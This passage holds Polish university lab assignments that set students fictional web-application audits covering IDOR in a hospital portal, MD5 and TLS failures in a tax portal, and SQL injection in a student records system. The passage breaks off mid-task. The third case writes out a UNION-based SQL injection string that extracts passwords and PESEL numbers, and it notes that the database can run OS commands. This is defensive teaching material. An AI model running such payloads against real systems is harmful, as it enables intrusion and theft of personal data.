Laboratorium 7

Głównym celem zadania jest opanowanie przez studentów praktycznych umiejętności identyfikacji, analizy i oceny uchybień w mechanizmach kontroli dostępu w aplikacji internetowej (kategoria OWASP Top 10:2021 - A01:2021 Broken Access Control) na przykładzie podatności bezpośredniego odwołania do obiektów (Insecure Direct Object References - IDOR) w szpitalnym portalu pacjenta. Studenci badają mechanizm autoryzacji żądań HTTP pobierania dokumentacji medycznej w formacie PDF, oceniają skutki prawne nieautoryzowanego dostępu do danych szczególnych kategorii (art. 9 RODO) oraz projektują procedury bezpiecznej kontroli uprawnień oparte na weryfikacji tożsamości użytkownika w sesji serwerowej i identyfikatorach pośrednich (kryptograficzne tokeny UUID v4).

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja niezgodności krytycznej (NC1) polegającej na braku autoryzacji na poziomie pojedynczych obiektów danych oraz formułowanie zaleceń doskonalących (OFI).
• U1 Opracowanie projektu procedury bezpiecznej autoryzacji żądań webowych i zaleceń programistycznych dla zespołu wytwórczego portalu medycznego.
• U3 Przeprowadzenie analizy ryzyka masowego wycieku danych medycznych pacjentów, utraty tajemnicy lekarskiej oraz nałożenia kar administracyjnych przez Prezesa UODO.
• U4 Opracowanie pisemnego referatu oraz ustrukturyzowanego raportu z audytu aplikacji webowej dla Dyrekcji SPZOZ i Inspektora Ochrony Danych.
• W1 Znajomość wymogów ochrony danych wrażliwych dotyczących zdrowia (art. 9 i art. 32 RODO) oraz Ustawy o prawach pacjenta i Rzeczniku Praw Pacjenta.
• W2W3 Zrozumienie wytycznych OWASP Top 10 (A01:2021), metodologii OWASP Web Security Testing Guide (WSTG-ATHZ-04), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.2 Rozsądny dostęp, A.8.3 Zarządzanie uprawnieniami, A.8.28 Bezpieczne kodowanie) oraz przepisów Krajowych Ram Interoperacyjności (KRI).
• K1K2K3 Kształtowanie etycznej postawy audytora, poszanowania prywatności chorych oraz rzetelnego dokumentowania podatności aplikacji webowych bez zakłócania ich funkcjonowania.
• Powiązanie z wykładem: Wyk1 (Audyt w ochronie informacji wrażliwych), Wyk2 (Zasady audytowania ISO 19011), Wyk3 (Kontrole dostępowe A.8.2 i A.8.28 ISO 27001), Wyk4 (RODO i KRI w podmiotach leczniczych), Wyk6 (Analiza żądań HTTP i dowody audytowe), Wyk7 (Klasyfikacja niezgodności NC1/OFI i formułowanie zaleceń).

Szpital Miejski w Zgierzu (SPZOZ) uruchomił dla pacjentów internetowy portal 'e-Pacjent Zgierz' umożliwiający zdalne sprawdzanie wyników badań laboratoryjnych (m.in. morfologii krwi, markerów onkologicznych, testów wirusologicznych) oraz pobieranie wypisów szpitalnych w formacie PDF.

Stan faktyczny w obszarze architektury i bezpieczeństwa aplikacji webowej:

• Pacjent po zarejestrowaniu się i zalogowaniu loginem oraz hasłem otrzymuje dostęp do panelu z listą swoich badań. Po kliknięciu przycisku 'Pobierz wynik' przeglądarka wysyła żądanie HTTP GET pod adres: `https://wyniki.szpital-zgierz.pl/pobierz_badanie.php?id_badania=10452&pacjent_id=8921`.
• W trakcie rutynowego przeglądu bezpieczeństwa audytorzy zauważyli, że skrypt serwerowy pobiera z bazy danych dokument PDF wyłącznie na podstawie wartości parametru `id_badania` przekazanego w adresie URL, sprawdzając jedynie ogólny fakt, czy osoba wysyłająca żądanie posiada jakąkolwiek aktywną sesję w portalu.
• Serwer nie weryfikuje w żaden sposób, czy zalogowany użytkownik jest właścicielem dokumentu o wskazanym numerze ID (brak powiązania parametru żądania z tożsamością zapisaną w sesji po stronie serwera).
• W wyniku ręcznej zmiany wartości parametru w pasku adresu na `id_badania=10453` lub `id_badania=10450` zalogowany pacjent Jan Kowalski natychmiast otrzymał dostęp do pełnej karty badań laboratoryjnych innej pacjentki, zawierającej jej imię, nazwisko, numer PESEL, adres zamieszkania oraz wynik badania na obecność wirusa HIV i markerów nowotworowych.
• Identyfikatory badań są kolejnymi liczbami całkowitymi (wartości sekwencyjne auto-increment), co umożliwia zautomatyzowane pobranie kilkunastu tysięcy kart medycznych wszystkich pacjentów szpitala przy użyciu prostego skryptu pobierającego.
• Aplikacja nie posiada żadnych ograniczeń częstotliwości zapytań (brak mechanizmu Rate Limiting), a w logach serwera WWW Apache odnotowano próby seryjnego odpytywania adresów URL generowane z zewnętrznych adresów IP, które nie zostały zauważone przez personel szpitala.

Dyrekcja Szpitala, zaalarmowana przez Inspektora Ochrony Danych po zgłoszeniu od zaniepokojonego pacjenta, zleca zespołowi audytorskiemu pilne zbadanie aplikacji webowej, ocenę zgodności z OWASP Top 10 i RODO oraz opracowanie zaleceń naprawczych.

Praca w zespole 2-3 osobowym polega na zbadaniu podatności IDOR, przeanalizowaniu mechanizmów kontroli dostępu w aplikacji oraz sformułowaniu zaleceń inżynierskich i proceduralnych:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i SDLC): Dokonuje analizy umowy wdrożeniowej z dostawcą oprogramowania portalu, weryfikuje procedury odbioru aplikacji pod kątem testów bezpieczeństwa, przeprowadza wywiad z Inspektorem Ochrony Danych oraz koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji Web / OWASP): Analizuje schemat żądań HTTP GET/POST, dekonstruuje podatność IDOR w oparciu o kategorię A01:2021 OWASP Top 10 oraz wytyczne WSTG-ATHZ-04, bada brak walidacji sesji serwerowej i projektuje architekturę bezpiecznych identyfikatorów (UUID v4 / hash sesyjny).

  Student 3 (Audytor Zgodności Regulacyjnej i Ochrony Danych Medycznych): Bada naruszenie art. 9 i art. 32 RODO (poufność danych szczególnej kategorii), szacuje ryzyko sankcji finansowych i zadośćuczynień cywilnych, weryfikuje wymogi zgłoszenia naruszenia do Prezesa UODO w terminie 72 godzin oraz ocenia spełnienie kontroli ISO 27001 (A.8.2, A.8.3, A.8.28). W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Porównajcie strukturę parametrów URL w kodzie aplikacji z logami serwera WWW (`access.log`), zapisami w bazie danych pacjentów oraz wymogami specyfikacji projektowej portalu. Wskażcie, w którym miejscu występuje rozbieżność między deklarowanym bezpieczeństwem a rzeczywistym działaniem skryptu `pobierz_badanie.php`.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) w oparciu o kontrolę A.8.2 i A.8.28 Załącznika A normy ISO/IEC 27001:2022 oraz art. 32 ust. 1 lit. b RODO. Wskażcie szanse na doskonalenie (OFI) w zakresie wdrożenia automatycznych testów DAST w potoku wytwórczym oprogramowania.

• Krok 4 (Opracowanie koncepcji rozwiązania problemu):

  Zaprojektujcie dwustopniowy mechanizm naprawczy:

  1. Poziom architektury kodu: powiązanie każdego żądania pobrania pliku z identyfikatorem użytkownika zapisanym w bezpiecznej sesji serwerowej (`$_SESSION['user_id']`) oraz weryfikacja relacji w bazie danych: `SELECT plik FROM badania WHERE id_badania = ? AND pacjent_id = ?`.

  2. Poziom identyfikatorów zasobów: odejście od sekwencyjnych liczb całkowitych w parametrach publicznych na rzecz losowych, nieprzewidywalnych tokenów UUID v4 (np. `b4a2c918-7f3e-4b6a-9124-5d9c28e10452`).

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Sformułujcie wnioski z audytu, wskażcie wady i zalety proponowanego rozwiązania (np. narzut na wydajność zapytań SQL vs. pełna poufność danych) oraz przygotujcie referat seminaryjny do obrony przed grupą.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Wprowadzenie i opis badanego portalu e-Pacjent w szpitalu miejskim (2 min): Rola portalu, charakter przetwarzanych danych medycznych i kontekst audytu (Student 1).
• Dekonstrukcja podatności A01:2021 - Broken Access Control / IDOR (4 min): Przedstawienie mechanizmu żądań HTTP, sekwencyjności identyfikatorów, braku autoryzacji po stronie serwera i demonstracja wektora podatności (Student 2).
• Skutki prawne i analiza ryzyka naruszenia RODO (3 min): Kwalifikacja naruszenia danych art. 9 RODO, obowiązki zgłoszeniowe do UODO w reżimie 72h, ryzyko kar finansowych i utraty reputacji szpitala (Student 3 lub Student 1).
• Koncepcja rozwiązania problemu oraz analiza wad i zalet (3 min): Omówienie walidacji sesji serwerowej, wdrożenia UUID v4, mechanizmu Rate Limiting oraz dobrych praktyk bezpiecznego kodowania (Student 2 i Student 3).
• Podsumowanie, rekomendacje poaudytowe i dyskusja z salą (2 min): Odpowiedzi na pytania słuchaczy i wnioski końcowe (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Czym charakteryzuje się podatność Insecure Direct Object References (IDOR) i dlaczego w zestawieniu OWASP Top 10:2021 została sklasyfikowana w ramach kategorii A01:2021 - Broken Access Control?
• Dlaczego weryfikacja uprawnień użytkownika do zasobu musi odbywać się bezwzględnie po stronie serwera, a ukrywanie parametrów w interfejsie użytkownika (np. w kodzie JavaScript lub polach typu hidden) nie stanowi zabezpieczenia?
• Jakie konsekwencje prawne na gruncie RODO (art. 33 i art. 34) rodzi publiczna dostępność wyników badań pacjentów onkologicznych i zakaźnych spowodowana podatnością IDOR?

2. Opis sytuacyjny i przebieg prac audytorskich w Szpitalu Miejskim w Zgierzu.

3. Karta niezgodności audytowej z powołaniem na normę ISO/IEC 27001:2022 oraz art. 9 i 32 RODO.

4. Szczegółowe rozwiązanie problemu:

• Wzorcowy schemat zapytania SQL z parametrami powiązanymi z sesją użytkownika.
• Koncepcja zamiany sekwencyjnych identyfikatorów liczbowych na kryptograficznie bezpieczne identyfikatory UUID v4.
• Wdrożenie mechanizmu ochrony przed atakami enumeracyjnymi (Rate Limiting na poziomie serwera NGINX/Apache).

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: całkowite wyeliminowanie podatności IDOR, uniemożliwienie zgadywania identyfikatorów, zgodność z zasadą Privacy by Design (art. 25 RODO).
• Wady/wyzwania: konieczność przebudowy schematu bazy danych (indeksy na kolumnach UUID), większe zużycie pamięci, niewielki narzut na czas odpowiedzi bazy przy intensywnym ruchu.

6. Bibliografia, netografia i odnośniki do aktów prawnych (RODO, Ustawa o prawach pacjenta, standardy OWASP, ISO 27001).

• OWASP Foundation: "OWASP Top 10:2021 - The Ten Most Critical Web Application Security Risks", A01:2021 Broken Access Control.
• OWASP Foundation: "Web Security Testing Guide (WSTG) v4.2", rozdział WSTG-ATHZ-04 (Testing for Insecure Direct Object References).
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 5 (Zasady przetwarzania), art. 9 (Szczególne kategorie danych), art. 32 (Bezpieczeństwo przetwarzania), art. 33 (Zgłaszanie naruszeń).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.2 (Prawa dostępu uprzywilejowanego), A.8.3 (Ograniczenie dostępu do informacji), A.8.28 (Bezpieczne kodowanie).
• Ustawa z dnia 6 listopada 2008 r. o prawach pacjenta i Rzeczniku Praw Pacjenta (Dz.U. z 2022 r. poz. 1876 z późn. zm.).
• Rozporządzenie Rady Ministrów z dnia 21 maja 2024 r. w sprawie Krajowych Ram Interoperacyjnych, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2024 r. poz. 773).

• U2 Identyfikacja podatności IDOR i braków w kontroli dostępu w aplikacji medycznej.
• U1 Opracowanie zaleceń naprawczych dotyczących bezpiecznej autoryzacji sesyjnej i identyfikatorów UUID.
• U3 Szacowanie ryzyka wycieku danych szczególnych kategorii w ochronie zdrowia.
• U4 Przygotowanie pisemnego raportu poaudytowego i obrona ustaleń w formie referatu.
• W1W2W3 Znajomość rygorów RODO, normy ISO 27001 oraz standardu OWASP Top 10 w kategorii Broken Access Control.
• K1K2K3 Etyka audytorska, profesjonalizm w kontakcie z placówką medyczną i dbałość o poufność danych pacjentów.

W referacie seminaryjnym przedstawcie na czytelnym schemacie różnicę między podatnym zapytaniem bazującym na parametrze z paska adresu a bezpiecznym zapytaniem parametryzowanym powiązanym ze zmienną sesyjną serwera.

Głównym celem zadania jest wykształcenie u studentów umiejętności identyfikowania, analizowania i dokumentowania błędów kryptograficznych w aplikacjach internetowych (kategoria OWASP Top 10:2021 - A02:2021 Cryptographic Failures). Studenci badają samorządowy portal podatkowy, w którym stwierdzono transmisję danych identyfikacyjnych i finansowych mieszkańców przez otwarty protokół HTTP, składowanie haseł w relacyjnej bazie danych z użyciem przestarzałej i podatnej na kolizje funkcji skrótu MD5 bez soli kryptograficznej oraz brak mechanizmów wymuszenia bezpiecznego połączenia (HTTP Strict Transport Security - HSTS). Zadanie wymaga oceny naruszenia Krajowych Ram Interoperacyjności (KRI) oraz art. 32 RODO, a także sformułowania kompleksowego planu naprawczego opartego na protokole TLS 1.3, algorytmach odpornych na ataki sprzętowe (Argon2id/bcrypt) oraz poprawnie skonfigurowanych nagłówkach bezpieczeństwa.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja niezgodności krytycznych w zakresie ochrony kryptograficznej danych w spoczynku i w tranzycie zgodnie z ISO 27001 i KRI.
• U1 Opracowanie zaleceń technicznych wdrożenia bezpiecznych algorytmów haszowania haseł, konfiguracji serwera WWW i polityki certyfikatów TLS.
• U3 Szacowanie ryzyka przechwycenia poświadczeń obywateli w otwartych sieciach Wi-Fi (atak Man-in-the-Middle - MitM) oraz kradzieży tożsamości podatkowej.
• U4 Sporządzenie sprawozdania audytowego z analizą ryzyk i uzasadnieniem konieczności pilnej modernizacji kryptograficznej.
• W1 Znajomość wymogów ochrony danych osobowych obywateli, tajemnicy skarbowej oraz przepisów o doręczeniach elektronicznych.
• W2W3 Zrozumienie kategorii A02:2021 OWASP Top 10, kontroli normy ISO/IEC 27001:2022 (A.8.20 Bezpieczeństwo sieci, A.8.24 Krypto-zabezpieczenia) oraz § 19 ust. 2 pkt 12 lit. d Rozporządzenia w sprawie KRI (obowiązek stosowania kryptografii o odpowiedniej sile).
• K1K2K3 Świadomość odpowiedzialności jednostki samorządowej za bezpieczeństwo powierzonych danych obywateli i rzetelność formułowanych uwag audytowych.
• Powiązanie z wykładem: Wyk1 (Audyt w administracji samorządowej), Wyk3 (Kontrola A.8.24 ISO 27001), Wyk4 (Wymogi kryptograficzne KRI i RODO art. 32), Wyk6 (Analiza certyfikatów TLS i zrzutów baz danych), Wyk7 (Klasyfikacja niezgodności i raportowanie).

Urząd Miejski w Tarnowie udostępnił dla mieszkańców portal 'e-Podatki Tarnów', za pośrednictwem którego obywatele mogą składać deklaracje podatku od nieruchomości, podatku od środków transportowych, wnosić opłaty za gospodarowanie odpadami komunalnymi oraz sprawdzać historię swoich zobowiązań wobec gminy.

Stan faktyczny w obszarze kryptografii i ochrony danych:

• Podczas audytu stwierdzono, że główny formularz logowania do portalu podatkowego dostępny jest pod nieszyfrowanym adresem `http://podatki.um.tarnow.pl/login.php`. Przeglądarka internetowa oznacza połączenie jako 'Niezabezpieczone', a login i hasło przesyłane są przez sieć otwartym tekstem w ciele żądania HTTP POST.
• Chociaż serwer posiada zainstalowany certyfikat SSL/TLS wystawiony przez zaufany urząd certyfikacji, administratorzy nie skonfigurowali automatycznego przekierowania ruchu z portu 80 (HTTP) na port 443 (HTTPS) ani nie wdrożyli nagłówka HTTP Strict Transport Security (HSTS). Użytkownik wpisujący adres w przeglądarce łączy się domyślnie przez protokół nieszyfrowany.
• Inspekcja struktury bazy danych MySQL wykazała, że hasła użytkowników portalu (ponad 32 000 kont mieszkańców i przedsiębiorców) zapisane są w tabeli `uzytkownicy` w kolumnie `haslo_hash` w postaci 32-znakowego ciągu szesnastkowego wygenerowanego funkcją `MD5(haslo)`.
• Do generowania skrótów nie zastosowano żadnej soli kryptograficznej (Salt). Audytorzy, wykorzystując ogólnodostępne tablice tęczowe (Rainbow Tables) oraz bazę znanych skrótów online, w czasie poniżej 15 minut zdołali odzyskać hasła w jawnym tekście dla 74 spośród 100 wylosowanych próbek kont.
• W bazie danych numery PESEL, numery rachunków bankowych podatników oraz kwoty zaległości podatkowych składowane są w polach tekstowych bez jakiegokolwiek szyfrowania na poziomie bazy danych (brak Encryption at Rest).
• Ponadto serwer WWW Apache obsługuje przestarzałe i podatne na ataki protokoły kryptograficzne TLS 1.0 i TLS 1.1 z zestawami szyfrów wykorzystującymi algorytmy CBC i 3DES, co ujawniło skanowanie narzędziem testującym konfigurację SSL.

Prezydent Miasta Tarnowa nakazuje przeprowadzenie audytu bezpieczeństwa i przedstawienie rekomendacji naprawczych przed wdrożeniem integracji z Węzłem Krajowym (Login.gov.pl).

Praca w zespole 2-3 osobowym polega na kompleksowej ocenie stanu zabezpieczeń kryptograficznych i zaprojektowaniu standardu ochrony danych mieszkańców:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Prawo i Standardy KRI): Bada zgodność stanu zabezpieczeń z § 20 Rozporządzenia ws. KRI, art. 32 RODO, weryfikuje procedury nadzoru nad portalem urzędowym oraz koordynuje opracowanie referatu.

  Student 2 (Audytor Techniczny ds. Kryptografii i Serwerów WWW): Analizuje konfigurację protokołu TLS na serwerze Apache, weryfikuje brak nagłówka HSTS, demonstruje słabość funkcji skrótu MD5 i tablic tęczowych oraz projektuje konfigurację bezpiecznego szyfrowania (TLS 1.3, nagłówki bezpieczeństwa, algorytm Argon2id/bcrypt z soleniem).

  Student 3 (Audytor Bezpieczeństwa Baz Danych i Danych Podatkowych): Ocenia ryzyko wycieku bazy danych podatników, brak szyfrowania danych w spoczynku (Encryption at Rest) w bazie MySQL, przygotowuje zestawienie konsekwencji naruszenia tajemnicy skarbowej i prawnej odpowiedzialności urzędu. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Zestawcie wyniki skanowania konfiguracji SSL serwera WWW, zrzut nagłówków żądań HTTP rejestrowanych podczas logowania oraz fragment schematu bazy danych z tabelą haseł. Wykażcie brak elementarnej ochrony poufności danych w tranzycie i w spoczynku.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z odwołaniem do kontroli ISO/IEC 27001:2022 A.8.24 (Krypto-zabezpieczenia) oraz § 19 ust. 2 pkt 12 lit. d KRI. Sformułujcie zalecenie doskonalące (OFI) dotyczące okresowego audytu siły stosowanych mechanizmów kryptograficznych.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie trójfazowy plan naprawczy:

  1. Wymuszenie HTTPS: konfiguracja reguły przekierowania `RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]` oraz dodanie nagłówka `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`. Wyłączenie protokołów SSLv3, TLS 1.0 i TLS 1.1 z pozostawieniem wyłącznie TLS 1.2 i TLS 1.3 z bezpiecznymi szyframi (np. ECDHE-ECDSA-AES256-GCM-SHA384).

  2. Bezpieczne haszowanie haseł: migracja bazy haseł z MD5 na algorytm Argon2id lub bcrypt (z kosztem pracy min. 12 i unikalną, kryptograficzną solą dla każdego użytkownika). Opracowanie procedury płynnej wymiany skrótów podczas kolejnego logowania mieszkańców.

  3. Ochrona danych w spoczynku: wdrożenie szyfrowania tabeli wrażliwej (Transparent Data Encryption - TDE) w MySQL lub szyfrowania kolumnowego numerów PESEL i kont bankowych.

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety wdrożenia silnej kryptografii (np. obciążenie procesora serwera vs. odporność na ataki brute-force) i przedstawcie wnioski w referacie.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja badanego portalu e-Podatki w Urzędzie Miejskim (2 min): Cel portalu, liczba użytkowników i waga przetwarzanych informacji podatkowych (Student 1).
• Dekonstrukcja błędów kryptograficznych A02:2021 (4 min): Omówienie braku HTTPS, demonstracja podatności MD5 na tablice tęczowe, brak soli oraz podatność na podsłuch transmisji (Student 2).
• Wymogi prawne KRI i RODO oraz analiza ryzyka wycieku danych (3 min): Naruszenie tajemnicy skarbowej, art. 32 RODO, konsekwencje kontroli UODO i utraty zaufania mieszkańców (Student 3 lub Student 1).
• Plan modernizacji kryptograficznej oraz wady i zalety (3 min): Konfiguracja TLS 1.3, nagłówka HSTS, mechanizm migracji na bcrypt/Argon2id oraz analiza kosztów wydajnościowych (Student 2 i Student 3).
• Podsumowanie i dyskusja ze słuchaczami (2 min): Odpowiedzi na pytania i podsumowanie dobrych praktyk (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Dlaczego funkcja skrótu MD5 oraz SHA-1 są obecnie uznawane za całkowicie nieprzydatne do bezpiecznego przechowywania haseł użytkowników?
• Czym różni się sól kryptograficzna (Salt) od pieprzu (Pepper) i w jaki sposób chronią one hasła przed atakami przy użyciu tablic tęczowych?
• Jakie zadanie pełni nagłówek HTTP Strict Transport Security (HSTS) i przed jakim typem ataków (np. SSL Stripping) zabezpiecza użytkownika?

2. Opis stanu faktycznego portalu 'e-Podatki Tarnów' i wykrytych luk kryptograficznych.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.24 ISO 27001, art. 32 RODO oraz § 20 KRI.

4. Szczegółowe rozwiązanie problemu:

• Fragment wzorcowej konfiguracji serwera WWW Apache/NGINX wymuszającej TLS 1.3 i nagłówek HSTS.
• Algorytm migracji skrótów haseł z MD5 na bcrypt/Argon2id z automatyczną konwersją przy logowaniu użytkownika.
• Zasady bezpiecznego składowania danych wrażliwych w spoczynku w bazie danych (TDE / szyfrowanie symetryczne AES-256).

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: pełna poufność transmisji, odporność na ataki MitM i kradzież haseł z bazy, zgodność z wytycznymi KRI i standardami bankowymi.
• Wady/wyzwania: niewielki wzrost utylizacji CPU serwera przy generowaniu skrótów bcrypt/Argon2id, konieczność zakupu/odnawiania certyfikatów, ryzyko zablokowania dostępu dla użytkowników z bardzo starymi przeglądarkami nieobsługującymi TLS 1.2+.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawa.

• OWASP Foundation: "OWASP Top 10:2021", A02:2021 Cryptographic Failures.
• OWASP Foundation: "Password Storage Cheat Sheet", 2023.
• Rozporządzenie Rady Ministrów z dnia 21 maja 2024 r. w sprawie Krajowych Ram Interoperacyjnych, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2024 r. poz. 773) - § 19 ust. 2 pkt 12 lit. d.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia).
• NIST Special Publication 800-132: "Recommendation for Password-Based Key Derivation", Gaithersburg 2010.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 32 (Bezpieczeństwo przetwarzania).

• U2 Identyfikacja luk kryptograficznych (brak HTTPS, podatny MD5, brak HSTS) w aplikacji samorządowej.
• U1 Projekt konfiguracji bezpiecznych protokołów TLS oraz nowoczesnych algorytmów haszowania haseł.
• U3 Szacowanie ryzyka przechwycenia poświadczeń mieszkańców w otwartych sieciach teleinformatycznych.
• U4 Opracowanie formalnego raportu z zaleceniami naprawczymi i obrona koncepcji na zajęciach.
• W1W2W3 Znajomość wymogów kryptograficznych KRI, RODO i normy ISO 27001.
• K1K2K3 Zdolność do precyzyjnego argumentowania konieczności stosowania silnej kryptografii w instytucjach publicznych.

Podczas wystąpienia seminaryjnego zaprezentujcie słuchaczom czas potrzebny na złamanie niesolonego hasła MD5 przy użyciu współczesnej karty graficznej w porównaniu z kosztem obliczeniowym funkcji bcrypt lub Argon2id.

Głównym celem zadania jest nabycie przez studentów praktycznych umiejętności wykrywania, analizowania i eliminowania podatności na wstrzykiwanie kodu (kategoria OWASP Top 10:2021 - A03:2021 Injection) ze szczególnym uwzględnieniem wstrzyknięć kodu SQL (SQL Injection - SQLi) w internetowym systemie obsługi toku studiów (Wirtualny Dziekanat). Studenci analizują mechanizm dynamicznego sklejania zapytań SQL z niezaufanych danych wejściowych w module wyszukiwania planu zajęć i ocen studentów, badają wektory ataku umożliwiające obejście logowania, kradzież bazy danych użytkowników oraz modyfikację ocen, a następnie projektują standard bezpiecznego programowania oparty na zapytaniach parametryzowanych (Prepared Statements / Parameterized Queries), walidacji danych wejściowych oraz zasadzie najniższych uprawnień (Least Privilege) w relacyjnej bazie danych.

Powiązanie z sylabusem i treściami programowymi:

• U2 Wykrywanie i dokumentowanie niezgodności krytycznej (NC1) polegającej na podatności SQL Injection umożliwiającej nieautoryzowany dostęp do bazy danych uczelni.
• U1 Opracowanie zaleceń inżynierskich i standardu bezpiecznego kodowania zapytań do baz danych dla programistów uczelnianego działu IT.
• U3 Szacowanie ryzyka sfałszowania ocen, kradzieży numerów PESEL i danych osobowych tysięcy studentów oraz utraty reputacji akademickiej uczelni.
• U4 Sporządzenie pisemnego referatu i raportu poaudytowego dla Władz Uczelni i Uczelnianego Inspektora Ochrony Danych.
• W1 Znajomość przepisów Ustawy - Prawo o szkolnictwie wyższym i nauce, zasad ochrony danych osobowych studentów (RODO) i tajemnicy państwowych egzaminów dyplomowych.
• W2W3 Zrozumienie kategorii A03:2021 OWASP Top 10, metodologii WSTG-INPV-05, normy ISO/IEC 27001:2022 (kontrole A.8.26 Architektura aplikacji, A.8.28 Bezpieczne kodowanie) oraz wymogów Rozporządzenia ws. KRI.
• K1K2K3 Poszanowanie etyki akademickiej, odpowiedzialność za integralność rejestrów ocen i rzetelność przeprowadzanych badań podatności.
• Powiązanie z wykładem: Wyk1 (Audyt w instytucjach edukacyjnych), Wyk3 (Kontrola A.8.28 ISO 27001), Wyk4 (RODO i KRI na uczelni), Wyk6 (Analiza logów zapytań SQL i wektorów wstrzyknięć), Wyk7 (Raportowanie niezgodności i formułowanie zaleceń).

Państwowa Akademia Nauk Stosowanych w Chełmie eksploatuje autorski system informatyczny 'Wirtualny Dziekanat PANS' służący do ewidencji toku studiów dla 3 500 studentów i 250 wykładowców. System obsługuje elektroniczne protokoły ocen, zapisy na przedmioty, składanie wniosków o stypendia oraz archiwum prac dyplomowych.

Stan faktyczny w obszarze implementacji modułów aplikacji webowej:

• W module publicznego wyszukiwania harmonogramu zajęć oraz dyżurów wykładowców (`harmonogram.php`) znajduje się pole tekstowe służące do filtrowania wyników po nazwisku prowadzącego lub nazwie przedmiotu.
• Analiza kodu źródłowego skryptu PHP ujawniła, że parametr przekazywany w żądaniu HTTP GET (`szukaj`) jest pobierany bezpośrednio ze zmiennej `$_GET['szukaj']` i dołączany metodą konkatenacji (sklejania ciągów znaków) bezpośrednio do zapytania SQL wysyłanego do bazy PostgreSQL:

  `$sql = "SELECT id, przedmiot, wykladowca, sala FROM zajecia WHERE wykladowca LIKE '%" . $_GET['szukaj'] . "%'";`

• W kodzie nie zastosowano żadnej walidacji danych wejściowych (Input Validation), filtrowania znaków specjalnych ani funkcji ucieczki (Escaping).
• Wprowadzenie w polu wyszukiwania ciągu znaków `Kowalski%' UNION SELECT id, login, haslo_hash, pesel FROM uzytkownicy --` spowodowało wyświetlenie w tabeli z wynikami planu zajęć pełnej listy kont administratorów, wykładowców i studentów wraz z ich hasłami i numerami PESEL.
• Dodatkowo stwierdzono, że aplikacja webowa łączy się z bazą danych PostgreSQL przy użyciu konta 'postgres' (superużytkownik bazy danych), co pozwala atakującemu nie tylko na odczyt i modyfikację dowolnych tabel (w tym tabeli ocen `student_oceny`), ale także na wykonywanie poleceń w systemie operacyjnym serwera za pomocą funkcji `COPY ... PROGRAM`.
• W logach bazy danych `postgresql.log` widoczne były liczne błędy składniowe SQL generowane przez użytkowników wpisujących znaki cudzysłowu i apostrofu, które były ignorowane przez administratorów uczelnianych.

Rektor Uczelni powołuje zespół audytorski w celu natychmiastowego zbadania podatności Wirtualnego Dziekanatu, oceny skali zagrożenia i przygotowania wytycznych programistycznych eliminujących ryzyko SQL Injection.

Praca w zespole 2-3 osobowym polega na analizie podatności SQL Injection, zbadaniu uprawnień konta bazodanowego oraz opracowaniu wzorca bezpiecznego programowania:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Organizacja i Standardy Uczelniane): Analizuje strukturę organizacyjną Działu IT uczelni, procedury weryfikacji oprogramowania przed wdrożeniem, wytyczne KRI i politykę ochrony danych studentów oraz koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Kodu i SQL): Analizuje mechanizm wstrzyknięcia SQL w skrypcie `harmonogram.php`, wektory ataku UNION-based SQLi i Error-based SQLi, bada brak zapytań parametryzowanych i projektuje implementację Prepared Statements w bibliotece PDO PHP.

  Student 3 (Audytor Bezpieczeństwa Baz Danych i Oceny Skutków Naruszeń): Bada uprawnienia konta bazodanowego (naruszenie zasady Least Privilege), analizuje ryzyko sfałszowania ocen w rejestrze dyplomów oraz ryzyko naruszenia RODO w przypadku wycieku danych studentów. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Powiążcie fragment podatnego kodu PHP ze strukturą zapytania SQL, logami błędów serwera PostgreSQL oraz zrzutem danych z testu podatności. Wykażcie, że bezpośrednie sklejanie ciągów znaków stanowi bezpośrednią przyczynę podatności.

• Krok 3 (Kwalifikacja niezgodności):

